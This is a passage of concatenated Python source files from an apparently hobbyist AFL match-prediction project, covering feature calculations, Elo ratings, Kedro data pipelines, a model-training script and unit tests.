pd.DataFrame) -> pd.Series: if column not in data_frame.columns: raise ValueError( f"To calculate rolling rate, '{column}' " "must be in data frame, but the columns given were " f"{data_frame.columns}" ) # We need to groupby the 'team' column rather than the index in order to preserve # the multi-index after calculating expanding/rolling. Otherwise, the resulting # index is just the groupby key. groups = ( data_frame[["team", column]] .reset_index(level=TEAM_LEVEL, drop=True) .groupby("team") ) return ( rolling_rate_filled_by_expanding_rate(groups, AVG_SEASON_LENGTH) .dropna() .sort_index() .loc[:, column] .rename(f"rolling_{column}_rate") ) def calculate_rolling_rate(column: Sequence[str]) -> DataFrameCalculator: """Calculate the rolling mean of a column.""" if len(column) != 1: raise ValueError( "Can only calculate one rolling average at a time, but received " f"{column}" ) return update_wrapper(partial(_rolling_rate, column[0]), _rolling_rate) def _rolling_mean_by_dimension( column_pair: Sequence[str], rolling_windows: Dict[str, int], data_frame: pd.DataFrame, ) -> pd.Series: dimension_column, metric_column = column_pair required_columns = ["team", *column_pair] rolling_window = ( rolling_windows[dimension_column] if dimension_column in rolling_windows.keys() else AVG_SEASON_LENGTH ) if any([col not in data_frame.columns for col in required_columns]): raise ValueError( f"To calculate rolling rate, 'team', {dimension_column}, and '{metric_column}' " "must be in data frame, but the columns given were " f"{data_frame.columns}" ) prev_match_values = ( data_frame.groupby(["team", dimension_column])[metric_column].shift().fillna(0) ) prev_match_values_label = f"prev_{metric_column}_by_{dimension_column}" groups = data_frame.assign(**{prev_match_values_label: prev_match_values}).groupby( ["team", dimension_column], group_keys=True )[prev_match_values_label] return ( rolling_rate_filled_by_expanding_rate(groups, rolling_window) .reset_index(level=[0, 1], drop=True) .dropna() .sort_index() .rename(f"rolling_mean_{metric_column}_by_{dimension_column}") ) def calculate_rolling_mean_by_dimension( column_pair: Sequence[str], rolling_windows: Dict[str, int] = ROLLING_WINDOWS ) -> DataFrameCalculator: """Calculate the rolling mean of a numeric column grouped by a categorical column. Note: Be sure not to use 'last_week'/'prev_match' metric columns, because that data refers to the previous match's dimension, not the current one, so grouping the metric values will result in incorrect aggregations. """ if len(column_pair) != 2: raise ValueError( "Can only calculate one rolling average at a time, grouped by one dimension " f"at a time, but received {column_pair}" ) return update_wrapper( partial(_rolling_mean_by_dimension, column_pair, rolling_windows), _rolling_mean_by_dimension, ) def _division(column_pair: Sequence[str], data_frame: pd.DataFrame) -> pd.Series: divisor, dividend = column_pair if divisor not in data_frame.columns or dividend not in data_frame.columns: raise ValueError( f"To calculate division of '{divisor}' by '{dividend}', both " "must be in data frame, but the columns given were " f"{data_frame.columns}" ) return ( (data_frame[divisor] / data_frame[dividend]) # Dividing by 0 results in inf, and I'd rather have it just be 0 .map(lambda val: 0 if val == np.inf else val).rename( f"{divisor}_divided_by_{dividend}" ) ) def calculate_division(column_pair: Sequence[str]) -> DataFrameCalculator: """Calculate the first column's values divided by the second's.""" if len(column_pair) != 2: raise ValueError( "Can only calculate one column divided by another, but received " f"{column_pair}" ) return update_wrapper(partial(_division, column_pair), _division) def _multiplication(column_pair: Sequence[str], data_frame: pd.DataFrame) -> pd.Series: first_col, second_col = column_pair if first_col not in data_frame.columns or second_col not in data_frame.columns: raise ValueError( f"To calculate multiplication of '{first_col}' by '{second_col}', " "both must be in data frame, but the columns given were " f"{data_frame.columns}" ) return (data_frame[first_col] * data_frame[second_col]).rename( f"{first_col}_multiplied_by_{second_col}" ) def calculate_multiplication(column_pair: Sequence[str]) -> DataFrameCalculator: """Multiply the values of two columns.""" if len(column_pair) != 2: raise ValueError( "Can only calculate one column multiplied by another, but received " f"{column_pair}" ) return update_wrapper(partial(_multiplication, column_pair), _multiplication) def _add_columns( data_frame: pd.DataFrame, addition_column: pd.Series, column_label: str ): if addition_column is None: return data_frame.loc[:, column_label] return addition_column + data_frame[column_label] def _addition(columns: Sequence[str], data_frame: pd.DataFrame) -> pd.Series: if any([col not in data_frame.columns for col in columns]): raise ValueError( f"To calculate addition of all columns: {columns}, " "all must be in data frame, but the columns given were " f"{data_frame.columns}" ) addition_column = reduce( update_wrapper(partial(_add_columns, data_frame), _add_columns), columns, None ) column_label = "_plus_".join(columns) return addition_column.rename(column_label) def calculate_addition(columns: Sequence[str]) -> DataFrameCalculator: """Add the values of multiple columns.""" if len(columns) < 2: raise ValueError( "Must have at least two columns to add together, but received " f"{columns}" ) return update_wrapper(partial(_addition, columns), _addition) <file_sep>/.pylintrc [MESSAGES CONTROL] disable= W0102, # Dangerous default value (list) R0903, # Too few public methods E1101, # Instance of generator has no <something> method (needed for Flake) W0511, # No TODOs R0913, # Too many arguments C0330, # Wrong indentation (indentation handled by black), C0103, # Wrong case naming style C0413, # Imports at the top (sometimes need to add project to sys.path) no-self-use, # @property doesn't play nice with other decorators <file_sep>/scripts/save_default_models.py """Script for creating default models, training them, then pickling them. Necessary due to how frequently changes to modules or package versions make old model files obsolete. """ import os import sys from dateutil import parser import numpy as np import pandas as pd from kedro.extras.datasets.pickle import PickleDataSet from kedro.framework.session import KedroSession BASE_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "../")) if BASE_DIR not in sys.path: sys.path.append(BASE_DIR) from tests.fixtures.fake_estimator import pickle_fake_estimator from augury.ml_estimators import BasicEstimator, ConfidenceEstimator from augury.ml_data import MLData from augury import settings np.random.seed(settings.SEED) BUCKET_NAME = "afl_data" TRAIN_YEAR_RANGE = (2020,) GOOGLE_APPLICATION_CREDENTIALS = os.getenv("GOOGLE_APPLICATION_CREDENTIALS", "") def _train_save_model(model, **data_kwargs): data = MLData(**data_kwargs) model.fit(*data.train_data) model.dump() # For now, we're using a flat file structure in the data bucket, # so we just want the filename of the pickled model bucket_filename = os.path.split(model.pickle_filepath)[-1] data_set = PickleDataSet( filepath=f"gs://{BUCKET_NAME}/{bucket_filename}", backend="joblib", fs_args={"project": "tipresias"}, credentials={"token": GOOGLE_APPLICATION_CREDENTIALS}, ) data_set.save(model) def main(): """Loop through models, training and saving each.""" data_kwargs = { "train_year_range": settings.FULL_YEAR_RANGE, } with KedroSession.create( settings.PACKAGE_NAME, project_path=settings.BASE_DIR, env=settings.ENV ) as session: context = session.load_context() full_data = pd.DataFrame(context.catalog.load("full_data")) # Make sure we're using full data sets instead of truncated prod data sets assert ( full_data["year"].min() < parser.parse(settings.PREDICTION_DATA_START_DATE).year ) del full_data model_info = [ ( BasicEstimator(name="tipresias_margin_2021"), {**data_kwargs, "data_set": "full_data"}, ), ( ConfidenceEstimator(name="tipresias_proba_2021"), {**data_kwargs, "data_set": "full_data", "label_col": "result"}, ), ] for model, data_kwargs in model_info: _train_save_model(model, **data_kwargs) pickle_fake_estimator() if __name__ == "__main__": main() <file_sep>/src/augury/pipelines/full/pipeline.py """Pipelines for loading and processing joined data from other pipelines.""" from kedro.pipeline import Pipeline, node from augury.settings import CATEGORY_COLS from ..nodes import common from .. import player, match PIPELINE_CATEGORY_COLS = CATEGORY_COLS + [ "prev_match_oppo_team", "oppo_prev_match_oppo_team", ] def create_pipeline( start_date: str, end_date: str, ): """Create a pipeline that joins all data-source-specific pipelines.""" return Pipeline( [ match.create_pipeline(start_date, end_date), player.create_pipeline(start_date, end_date), node( common.clean_full_data, ["final_match_data", "final_player_data"], [ "clean_match_data_df", "clean_player_data_df", ], ), node( common.combine_data(axis=1), [ "clean_match_data_df", "clean_player_data_df", ], "joined_data", name="joined_data", ), node( common.filter_by_date(start_date, end_date), "joined_data", "filtered_data", ), node( common.sort_data_frame_columns(category_cols=PIPELINE_CATEGORY_COLS), "filtered_data", "sorted_data", ), node(common.finalize_data, "sorted_data", "full_data"), ], ) <file_sep>/src/augury/pipelines/player/pipeline.py """Functions for creating Kedro pipelines that load and process AFL player data.""" from kedro.pipeline import Pipeline, node from ..nodes import common, feature_calculation from . import nodes PLAYER_MATCH_STATS_COLS = [ "at_home", "score", "oppo_score", "team", "oppo_team", "year", "round_number", "date", ] def create_past_player_pipeline(): """Create a pipeline that loads and cleans historical player data.""" return Pipeline( [ node( common.convert_to_data_frame, "remote_player_data", "remote_player_data_frame", ), node( common.combine_data(axis=0), ["player_data", "remote_player_data_frame"], "combined_past_player_data", ), node( nodes.clean_player_data, ["combined_past_player_data", "clean_past_match_data"], "clean_player_data", ), ] ) def create_roster_pipeline(): """Create a pipeline that loads and cleans player data for future matches.""" return Pipeline( [ node(common.convert_to_data_frame, "roster_data", "roster_data_frame"), node( nodes.clean_roster_data, ["roster_data_frame", "clean_player_data"], "clean_roster_data", ), ] ) def create_pipeline( start_date: str, end_date: str, past_match_pipeline=Pipeline([]), **_kwargs ): """ Create a Kedro pipeline for loading and transforming player data. Params ------ start_date (str): Stringified date (yyyy-mm-dd) end_date (str): Stringified date (yyyy-mm-dd) past_match_pipeline (kedro.pipeline.Pipeline): Pipeline for past match data, required for player data cleaning if player pipeline is run in isolation. """ return Pipeline( [ past_match_pipeline, create_past_player_pipeline(), create_roster_pipeline(), node( common.combine_data(axis=0), ["clean_player_data", "clean_roster_data"], "combined_player_data", ), node( common.filter_by_date(start_date, end_date), "combined_player_data", "filtered_player_data", ), node( nodes.convert_player_match_rows_to_player_teammatch_rows, "filtered_player_data", "stacked_player_data", ), node( nodes.add_last_year_brownlow_votes, "stacked_player_data", "player_data_a", ), node(nodes.add_rolling_player_stats, "player_data_a", "player_data_b"), node(nodes.add_cum_matches_played, "player_data_b", "player_data_c"), node( feature_calculation.feature_calculator( [ ( feature_calculation.calculate_addition, [ ( "rolling_prev_match_goals", "rolling_prev_match_behinds", ) ], ) ] ), "player_data_c", "player_data_d", ), node( feature_calculation.feature_calculator( [ ( feature_calculation.calculate_division, [ ( "rolling_prev_match_goals", "rolling_prev_match_goals_plus_rolling_prev_match_behinds", ) ], ) ] ), "player_data_d", "player_data_e", ), node( nodes.aggregate_player_stats_by_team_match( ["sum", "max", "min", "skew", "std"] ), "player_data_e", "aggregated_player_data", ), node( common.add_oppo_features(match_cols=PLAYER_MATCH_STATS_COLS), "aggregated_player_data", "oppo_player_data", ), node(common.finalize_data, "oppo_player_data", "final_player_data"), ] ) <file_sep>/src/augury/pipelines/__init__.py """Collection functions for creating Kedro pipelines.""" <file_sep>/src/augury/hooks.py # Copyright 2020 QuantumBlack Visual Analytics Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND # NONINFRINGEMENT. IN NO EVENT WILL THE LICENSOR OR OTHER CONTRIBUTORS # BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF, OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # # The QuantumBlack Visual Analytics Limited ("QuantumBlack") name and logo # (either separately or in combination, "QuantumBlack Trademarks") are # trademarks of QuantumBlack. The License does not grant you any right or # license to the QuantumBlack Trademarks. You may not use the QuantumBlack # Trademarks or any confusingly similar mark as a trademark for your product, # or use the QuantumBlack Trademarks in any other manner that might cause # confusion in the marketplace, including but not limited to in advertising, # on websites, or on software. # # See the License for the specific language governing permissions and # limitations under the License. """Project hooks.""" from typing import Any, Dict, Iterable, Optional from kedro.config import ConfigLoader from kedro.framework.hooks import hook_impl from kedro.framework.session import get_current_session from kedro.io import DataCatalog from kedro.pipeline import Pipeline from kedro.versioning import Journal class ProjectHooks: """Lifecycle hooks for running Kedro pipelines.""" @hook_impl def register_pipelines(self) -> Dict[str, Pipeline]: """Register the project's pipeline. Returns: A mapping from a pipeline name to a ``Pipeline`` object. """ # We need to import inside the method, because Kedro's bogarting # of the 'settings' module creates circular dependencies, so we either have to # do this or create a separate settings module to import around the app. from augury.pipelines import ( # pylint: disable=import-outside-toplevel betting, full, match, player, ) session = get_current_session() assert session is not None context = session.load_context() start_date: str = context.start_date # type: ignore end_date: str = context.end_date # type: ignore return { "__default__": Pipeline([]), "betting": betting.create_pipeline(start_date, end_date), "match": match.create_pipeline(start_date, end_date), "player": player.create_pipeline( start_date, end_date, past_match_pipeline=match.create_past_match_pipeline(), ), "full": full.create_pipeline(start_date, end_date), } @hook_impl def register_config_loader(self, conf_paths: Iterable[str]) -> ConfigLoader: """Register the project's config loader.""" return ConfigLoader(conf_paths) @hook_impl def register_catalog( self, catalog: Optional[Dict[str, Dict[str, Any]]], credentials: Dict[str, Dict[str, Any]], load_versions: Dict[str, str], save_version: str, journal: Journal, ) -> DataCatalog: """Register the project's data catalog.""" # We need to import inside the method, because Kedro's bogarting # of the 'settings' module creates circular dependencies, so we either have to # do this or create a separate settings module to import around the app. from augury.io import ( # pylint: disable=import-outside-toplevel JSONRemoteDataSet, ) data_catalog = DataCatalog.from_config( catalog, credentials, load_versions, save_version, journal ) session = get_current_session() assert session is not None context = session.load_context() round_number: Optional[int] = context.round_number # type: ignore data_catalog.add( "roster_data", JSONRemoteDataSet( data_source="augury.data_import.player_data.fetch_roster_data", round_number=round_number, ), ) return data_catalog project_hooks = ProjectHooks() <file_sep>/src/tests/unit/nodes/test_betting.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring from unittest import TestCase from datetime import time import numpy as np import pytz from candystore import CandyStore from tests.helpers import ColumnAssertionMixin from augury.pipelines.betting import nodes as betting YEAR_RANGE = (2013, 2015) REQUIRED_OUTPUT_COLS = ["home_team", "year", "round_number"] class TestBetting(TestCase, ColumnAssertionMixin): def setUp(self): self.raw_betting_data = CandyStore(seasons=YEAR_RANGE).betting_odds() def test_clean_data(self): clean_data = betting.clean_data(self.raw_betting_data) self.assertIn("year", clean_data.columns) invalid_cols = clean_data.filter(regex="_paid|_margin|venue|^round$").columns self.assertFalse(any(invalid_cols)) self.assertEqual( {*REQUIRED_OUTPUT_COLS}, {*clean_data.columns} & {*REQUIRED_OUTPUT_COLS} ) self.assertEqual(clean_data["date"].dt.tz, pytz.UTC) self.assertFalse((clean_data["date"].dt.time == time()).any()) def test_add_betting_pred_win(self): feature_function = betting.add_betting_pred_win match_data = CandyStore(seasons=YEAR_RANGE).match_results() valid_data_frame = match_data.assign( win_odds=np.random.randint(0, 2, len(match_data)), oppo_win_odds=np.random.randint(0, 2, len(match_data)), line_odds=np.random.randint(-50, 50, len(match_data)), oppo_line_odds=np.random.randint(-50, 50, len(match_data)), ) self._make_column_assertions( column_names=["betting_pred_win"], req_cols=("win_odds", "oppo_win_odds", "line_odds", "oppo_line_odds"), valid_data_frame=valid_data_frame, feature_function=feature_function, ) <file_sep>/src/tests/fixtures/data_factories.py """Functions for generating dummy data for use in tests.""" from datetime import timedelta import numpy as np import pandas as pd from augury.settings import ( TEAM_NAMES, TEAM_TRANSLATIONS, ) MATCH_RESULTS_COLS = [ "date", "tz", "updated", "round", "roundname", "year", "hbehinds", "hgoals", "hscore", "hteam", "hteamid", "abehinds", "agoals", "ascore", "ateam", "ateamid", "winner", "winnerteamid", "is_grand_final", "complete", "is_final", "id", "venue", ] def fake_match_results_data( match_data: pd.DataFrame, round_number: int # pylint: disable=unused-argument ) -> pd.DataFrame: """ Generate dummy data that replicates match results data from the Squiggle API. Params ------ row_count: Number of match rows to return Returns ------- DataFrame of match results data """ assert ( len(match_data["season"].drop_duplicates()) == 1 ), "Match results data is fetched one season at a time." return ( match_data.query("round_number == @round_number") .assign( updated=lambda df: pd.to_datetime(df["date"]) + timedelta(hours=3), tz="+10:00", # AFLTables match_results already have a 'round' column, # so we have to replace rather than rename. round=lambda df: df["round_number"], roundname=lambda df: "Round " + df["round_number"].astype(str), hteam=lambda df: df["home_team"].map( lambda team: TEAM_TRANSLATIONS.get(team, team) ), ateam=lambda df: df["away_team"].map( lambda team: TEAM_TRANSLATIONS.get(team, team) ), hteamid=lambda df: df["hteam"].map(TEAM_NAMES.index), ateamid=lambda df: df["ateam"].map(TEAM_NAMES.index), winner=lambda df: np.where(df["margin"] >= 0, df["hteam"], df["ateam"]), winnerteamid=lambda df: df["winner"].map(TEAM_NAMES.index), is_grand_final=0, complete=100, is_final=0, ) .astype({"updated": str}) .reset_index(drop=False) .rename( columns={ "index": "id", "season": "year", "home_behinds": "hbehinds", "home_goals": "hgoals", "away_behinds": "abehinds", "away_goals": "agoals", "home_points": "hscore", "away_points": "ascore", } ) ).loc[:, MATCH_RESULTS_COLS] <file_sep>/notebooks/src/data/feature_engineering.py from functools import reduce, partial import pandas as pd import numpy as np WIN_POINTS = 4 # Constants for Elo calculations BASE_RATING = 1000 K = 35.6 X = 0.49 M = 130 # Home Ground Advantage HGA = 9 S = 250 CARRYOVER = 0.575 INDEX_COLS = ["team", "year", "round_number"] TEAM_CITIES = { "Adelaide": "Adelaide", "Brisbane": "Brisbane", "Carlton": "Melbourne", "Collingwood": "Melbourne", "Essendon": "Melbourne", "Fitzroy": "Melbourne", "Western Bulldogs": "Melbourne", "Fremantle": "Perth", "GWS": "Sydney", "Geelong": "Geelong", "Gold Coast": "Gold Coast", "Hawthorn": "Melbourne", "Melbourne": "Melbourne", "North Melbourne": "Melbourne", "Port Adelaide": "Adelaide", "Richmond": "Melbourne", "St Kilda": "Melbourne", "Sydney": "Sydney", "University": "Melbourne", "West Coast": "Perth", } CITIES = { "Adelaide": {"state": "SA", "lat": -34.9285, "long": 138.6007}, "Sydney": {"state": "NSW", "lat": -33.8688, "long": 151.2093}, "Melbourne": {"state": "VIC", "lat": -37.8136, "long": 144.9631}, "Geelong": {"state": "VIC", "lat": -38.1499, "long": 144.3617}, "Perth": {"state": "WA", "lat": -31.9505, "long": 115.8605}, "Gold Coast": {"state": "QLD", "lat": -28.0167, "long": 153.4000}, "Brisbane": {"state": "QLD", "lat": -27.4698, "long": 153.0251}, "Launceston": {"state": "TAS", "lat": -41.4332, "long": 147.1441}, "Canberra": {"state": "ACT", "lat": -35.2809, "long": 149.1300}, "Hobart": {"state": "TAS", "lat": -42.8821, "long": 147.3272}, "Darwin": {"state": "NT", "lat": -12.4634, "long": 130.8456}, "<NAME>": {"state": "NT", "lat": -23.6980, "long": 133.8807}, "Wellington": {"state": "NZ", "lat": -41.2865, "long": 174.7762}, "Euroa": {"state": "VIC", "lat": -36.7500, "long": 145.5667}, "Yallourn": {"state": "VIC", "lat": -38.1803, "long": 146.3183}, "Cairns": {"state": "QLD", "lat": -6.9186, "long": 145.7781}, "Ballarat": {"state": "VIC", "lat": -37.5622, "long": 143.8503}, "Shanghai": {"state": "CHN", "lat": 31.2304, "long": 121.4737}, "Albury": {"state": "NSW", "lat": -36.0737, "long": 146.9135}, } def city_lat_long(city): return CITIES[city]["lat"], CITIES[city]["long"] def team_match_id(df): return ( df["year"].astype(str) + "." + df["round_number"].astype(str) + "." + df["team"] ) def match_result(margin): if margin > 0: return 1 if margin < 0: return 0 return 0.5 def home_away_df(at_home, df): team_label = "home_" if at_home else "away_" margin = df["home_margin"] if at_home else df["home_margin"] * -1 return ( df.filter(regex=f"^{team_label}|year|round_number|match_id|date") .drop_duplicates() .rename(columns=lambda col: col.replace(team_label, "")) .assign( at_home=at_home, team_match_id=team_match_id, margin=margin, oppo_score=lambda df: df["score"] - margin, match_result=margin.map(match_result), ) .assign(match_points=lambda df: df["match_result"] * WIN_POINTS) .set_index(INDEX_COLS, drop=False) .rename_axis([None, None, None]) ) # Calculates the ladder position at the end of the round of the given match def ladder_position(data_frame): df = data_frame.sort_index() cum_match_points = df.groupby(["team", "year"])["match_points"].cumsum() cum_score = df.groupby(["team", "year"])["score"].cumsum() cum_oppo_score = df.groupby(["team", "year"])["oppo_score"].cumsum() # Pivot to get round-by-round match points and cumulative percent ladder_pivot_table = ( df.assign( cum_match_points=cum_match_points, cum_percent=(cum_score / cum_oppo_score) ) .loc[:, INDEX_COLS + ["cum_match_points", "cum_percent"]] .pivot_table( index=["year", "round_number"], values=["cum_match_points", "cum_percent"], columns="team", aggfunc={"cum_match_points": np.sum, "cum_percent": np.mean}, ) ) # To get round-by-round ladder ranks, we sort each round by win points & percent, # then save index numbers ladder_index = [] ladder_values = [] for year_round_idx, round_row in ladder_pivot_table.iterrows(): sorted_row = round_row.unstack(level=0).sort_values( ["cum_match_points", "cum_percent"], ascending=False ) for ladder_idx, team_name in enumerate(sorted_row.index.get_values()): ladder_index.append(tuple([team_name, *year_round_idx])) ladder_values.append(ladder_idx + 1) ladder_multi_index = pd.MultiIndex.from_tuples( ladder_index, names=tuple(INDEX_COLS) ) ladder_position_col = pd.Series( ladder_values, index=ladder_multi_index, name="ladder_position" ) return ladder_position_col # Basing Elo calculations on: # http://www.matterofstats.com/mafl-stats-journal/2013/10/13/building-your-own-team-rating-system.html def _elo_formula(prev_elo_rating, prev_oppo_elo_rating, margin, at_home): hga = HGA if at_home else HGA * -1 expected_outcome = 1 / ( 1 + 10 ** ((prev_oppo_elo_rating - prev_elo_rating - hga) / S) ) actual_outcome = X + 0.5 - X ** (1 + (margin / M)) return prev_elo_rating + (K * (actual_outcome - expected_outcome)) def _cross_year_elo(elo_rating): return (elo_rating * CARRYOVER) + (BASE_RATING * (1 - CARRYOVER)) def _calculate_prev_elo_ratings(prev_match, prev_oppo_match, cum_elo_ratings, year): if cum_elo_ratings is None: return BASE_RATING, BASE_RATING if prev_match is None: prev_elo_rating = BASE_RATING else: prev_elo_rating = cum_elo_ratings.loc[prev_match.name] if prev_match["year"] != year: prev_elo_rating = _cross_year_elo(prev_elo_rating) if prev_oppo_match is None: prev_oppo_elo_rating = BASE_RATING else: prev_oppo_elo_rating = cum_elo_ratings.loc[prev_oppo_match.name] if prev_oppo_match["year"] != year: prev_oppo_elo_rating = _cross_year_elo(prev_oppo_elo_rating) if isinstance(prev_elo_rating, pd.Series): raise TypeError( f"Elo series returned a subsection of itself at index {prev_match.name} " "when a single value is expected. Check the data frame for duplicate " "index values." ) if isinstance(prev_oppo_elo_rating, pd.Series): raise TypeError( f"Elo series returned a subsection of itself at index {prev_oppo_match.name} " "when a single value is expected. Check the data frame for duplicate " "index values." ) return prev_elo_rating, prev_oppo_elo_rating def _calculate_elo_rating(prev_match, prev_oppo_match, match_row, cum_elo_ratings): prev_elo_rating, prev_oppo_elo_rating = _calculate_prev_elo_ratings( prev_match, prev_oppo_match, cum_elo_ratings, match_row["year"] ) margin = match_row["margin"] at_home = bool(match_row["at_home"]) return _elo_formula(prev_elo_rating, prev_oppo_elo_rating, margin, at_home) def _get_previous_match( data_frame: pd.DataFrame, year: int, round_number: int, team: str ): prev_team_matches = data_frame.loc[ (data_frame["team"] == team) & (data_frame["year"] == year) & (data_frame["round_number"] < round_number), :, ] # If we can't find any previous matches this season, filter by last season if not prev_team_matches.any().any(): prev_team_matches = data_frame.loc[ (data_frame["team"] == team) & (data_frame["year"] == year - 1), : ] if not prev_team_matches.any().any(): return None return prev_team_matches.iloc[-1, :] # Assumes df sorted by year & round_number, with ascending=True in order to find teams' # previous matches def _calculate_match_elo_rating(root_data_frame, cum_elo_ratings, items): data_frame = root_data_frame.copy() index, match_row = items year, round_number, team = index oppo_team = data_frame.loc[ (data_frame["match_id"] == match_row["match_id"]) & (data_frame["team"] != team), "team", ].iloc[0] prev_match = _get_previous_match(data_frame, year, round_number, team) prev_oppo_match = _get_previous_match(data_frame, year, round_number, oppo_team) elo_rating = _calculate_elo_rating( prev_match, prev_oppo_match, match_row, cum_elo_ratings ) elo_data = [elo_rating] elo_index = pd.MultiIndex.from_tuples([(year, round_number, team)]) elo_ratings = pd.Series(data=elo_data, index=elo_index) if cum_elo_ratings is None: return elo_ratings.copy() return cum_elo_ratings.append(elo_ratings) def add_elo_rating(data_frame): elo_data_frame = data_frame.reorder_levels([1, 2, 0]).sort_index(ascending=True) elo_column = ( reduce( partial(_calculate_match_elo_rating, elo_data_frame), elo_data_frame.iterrows(), None, ) .reorder_levels([2, 0, 1]) .sort_index() ) return elo_column def match_id(data_frame): teams = data_frame["home_team"].str.cat(data_frame["away_team"], sep=".") # Need to sort teams alphabetically, because some edge cases with draws & repeated matches # make consistent IDs difficult if based on home/away team names sorted_teams = teams.map(lambda teams: ".".join(sorted(teams.split(".")))) return ( data_frame["year"].astype(str) + "." + data_frame["round_number"].astype(str) + "." + sorted_teams ) def player_team_match_id(df): return df["team_match_id"] + "." + df["player_id"].astype(str) def playing_for_team_match_id(df): return ( df["year"].astype(str) + "." + df["round_number"].astype(str) + "." + df["playing_for"] ) <file_sep>/src/augury/data_import/match_data.py """Module for fetching match data from afl_data service.""" import sys from typing import List, Dict, Any from datetime import date import os import json from augury.data_import.base_data import fetch_afl_data from augury.settings import RAW_DATA_DIR, PREDICTION_DATA_START_DATE FIRST_YEAR_OF_MATCH_DATA = 1897 END_OF_YEAR = f"{date.today().year}-12-31" END_OF_LAST_YEAR = f"{date.today().year - 1}-12-31" def fetch_match_data( start_date: str = f"{FIRST_YEAR_OF_MATCH_DATA}-01-01", end_date: str = END_OF_YEAR, verbose: int = 1, ) -> List[Dict[str, Any]]: """ Get AFL match data for given date range. Params ------ start_date (string: YYYY-MM-DD): Earliest date for match data returned. end_date (string: YYYY-MM-DD): Latest date for match data returned. Returns ------- list of dicts of match data. """ if verbose == 1: print("Fetching match data from between " f"{start_date} and {end_date}...") data = fetch_afl_data( "/matches", params={"start_date": start_date, "end_date": end_date, "fetch_data": True}, ) if verbose == 1: print("Match data received!") return data def save_match_data( start_date: str = f"{FIRST_YEAR_OF_MATCH_DATA}-01-01", end_date: str = END_OF_LAST_YEAR, verbose: int = 1, for_prod: bool = False, ) -> None: """ Save match data as a *.json file with name based on date range of data. Params ------ start_date (string: YYYY-MM-DD): Earliest date for match data returned. end_date (string: YYYY-MM-DD): Latest date for match data returned. verbose (int): Whether to print info statements (1 means yes, 0 means no). for_prod (bool): Whether saved data set is meant for loading in production. If True, this overwrites the given start_date to limit the data set to the last 10 years to limit memory usage. Returns ------- None """ if for_prod: start_date = max(start_date, PREDICTION_DATA_START_DATE) data = fetch_match_data(start_date=start_date, end_date=end_date, verbose=verbose) filepath = os.path.join(RAW_DATA_DIR, f"match-data_{start_date}_{end_date}.json") with open(filepath, "w", encoding="utf-8") as json_file: json.dump(data, json_file, indent=2) if verbose == 1: print("Match data saved") def fetch_fixture_data( start_date: str = str(date.today()), end_date: str = END_OF_YEAR, verbose: int = 1 ) -> List[Dict[str, Any]]: """ Get AFL fixture data for given date range. Params ------ start_date (string: YYYY-MM-DD): Earliest date for fixture data returned. end_date (string: YYYY-MM-DD): Latest date for fixture data returned. Returns ------- list of dicts of fixture data. """ if verbose == 1: print("Fetching fixture data from between " f"{start_date} and {end_date}...") data = fetch_afl_data( "/fixtures", params={"start_date": start_date, "end_date": end_date} ) if verbose == 1: print("Fixture data received!") return data def fetch_match_results_data( round_number: int, verbose: int = 1 ) -> List[Dict[str, Any]]: """ Get AFL match results for the given round from the latest season. Params ------ round_number: The round number for which to fetch match data. verbose: Whether to print status messages. Returns ------- list of dicts of match results data """ if verbose == 1: print(f"Fetching match results data for round {round_number}...") data = fetch_afl_data("/match_results", params={"round_number": round_number}) if verbose == 1: print("Match results data received!") return data if __name__ == "__main__": script_args = sys.argv[1:] if "--start_date" in script_args: start_date_arg_index = script_args.index("--start_date") + 1 start_date_arg = script_args[start_date_arg_index] else: start_date_arg = f"{FIRST_YEAR_OF_MATCH_DATA}-01-01" if "--end_date" in script_args: end_date_arg_index = script_args.index("--end_date") + 1 end_date_arg = script_args[end_date_arg_index] else: last_year = date.today().year - 1 end_of_last_year = f"{last_year}-12-31" end_date_arg = end_of_last_year # A bit arbitrary, but in general I prefer to keep the static, raw data up to the # end of last season, fetching more recent data as necessary save_match_data(start_date=start_date_arg, end_date=end_date_arg) <file_sep>/notebooks/src/data/player_data.py import pandas as pd from notebooks.src.data.fitzroy_data import fitzroy from augury.data_import import FitzroyDataImporter STATS_COLS = [ "player_id", "kicks", "marks", "handballs", "goals", "behinds", "hit_outs", "tackles", "rebounds", "inside_50s", "clearances", "clangers", "frees_for", "frees_against", "contested_possessions", "uncontested_possessions", "contested_marks", "marks_inside_50", "one_percenters", "bounces", "goal_assists", "time_on_ground", ] MATCH_COLS = [ "year", "home_team", "home_score", "away_team", "away_score", "round_number", "match_id", ] MATCH_STATS_COLS = ["at_home", "score", "oppo_score"] PREV_MATCH_STATS_COLS = [ f"prev_match_{col}" for col in STATS_COLS if col != "player_id" ] def id_col(df): return ( df["player_id"].astype(str) + df["match_id"].astype(str) + df["year"].astype(str) ) def player_data( start_date="1965-01-01", end_date="2016-12-31", aggregate=True, prev_match_stats=True, ): # Player data matches have weird round labelling system (lots of strings for finals matches), # so using round numbers from match_results match_df = FitzroyDataImporter().match_results() player_df = ( fitzroy() .get_afltables_stats(start_date=start_date, end_date=end_date) # Some player data venues have trailing spaces .assign(venue=lambda x: x["venue"].str.strip()) # Player data match IDs are wrong for recent years. # The easiest way to add correct ones is to graft on the IDs # from match_results. Also, match_results round_numbers are more useful. .merge( match_df[["date", "venue", "round_number", "game"]], on=["date", "venue"], how="left", ) # As of 11-10-2018, match_results is still missing finals data from 2018. # Joining on date/venue leaves two duplicates played at M.C.G. # on 29-4-1986 & 9-8-1986, but that's an acceptable loss of data # and easier than munging team names .dropna() .rename( columns={ "season": "year", "time_on_ground__": "time_on_ground", "id": "player_id", "game": "match_id", } ) .astype({"year": int, "match_id": int}) .assign( player_name=lambda x: x["first_name"] + " " + x["surname"], # Need to add year to ID, because there are some # player_id/match_id combos, decades apart, that by chance overlap id=id_col, ) .drop( [ "first_name", "surname", "round", "local_start_time", "attendance", "hq1g", "hq1b", "hq2g", 